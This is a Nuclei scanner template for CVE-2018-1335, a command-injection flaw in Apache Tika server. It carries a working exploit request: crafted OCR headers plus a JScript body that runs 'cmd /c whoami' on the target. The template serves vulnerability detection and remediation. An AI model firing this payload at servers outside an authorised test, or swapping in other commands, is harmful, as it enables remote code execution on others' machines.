53 lines
1.8 KiB
YAML
53 lines
1.8 KiB
YAML
id: CVE-2018-1335
|
|
|
|
info:
|
|
name: Apache Tika <1.1.8- Header Command Injection
|
|
author: pikpikcu
|
|
severity: high
|
|
description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
|
|
reference:
|
|
- https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
|
|
- https://www.exploit-db.com/exploits/47208
|
|
- https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
|
|
- http://web.archive.org/web/20210516175956/https://www.securityfocus.com/bid/104001
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-1335
|
|
remediation: Upgrade to Tika 1.18.
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2018-1335
|
|
tags: cve,cve2018,apache,tika,rce
|
|
|
|
requests:
|
|
- method: PUT
|
|
path:
|
|
- "{{BaseURL}}/meta"
|
|
headers:
|
|
X-Tika-OCRTesseractPath: cscript
|
|
X-Tika-OCRLanguage: //E:Jscript
|
|
Expect: 100-continue
|
|
Content-type: image/jp2
|
|
Connection: close
|
|
body: "var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec(\"cmd /c whoami\");"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: word
|
|
words:
|
|
- "Content-Type: text/csv"
|
|
part: header
|
|
|
|
- type: word
|
|
words:
|
|
- "org.apache.tika.parser.DefaultParser"
|
|
- "org.apache.tika.parser.gdal.GDALParse"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/07/07
|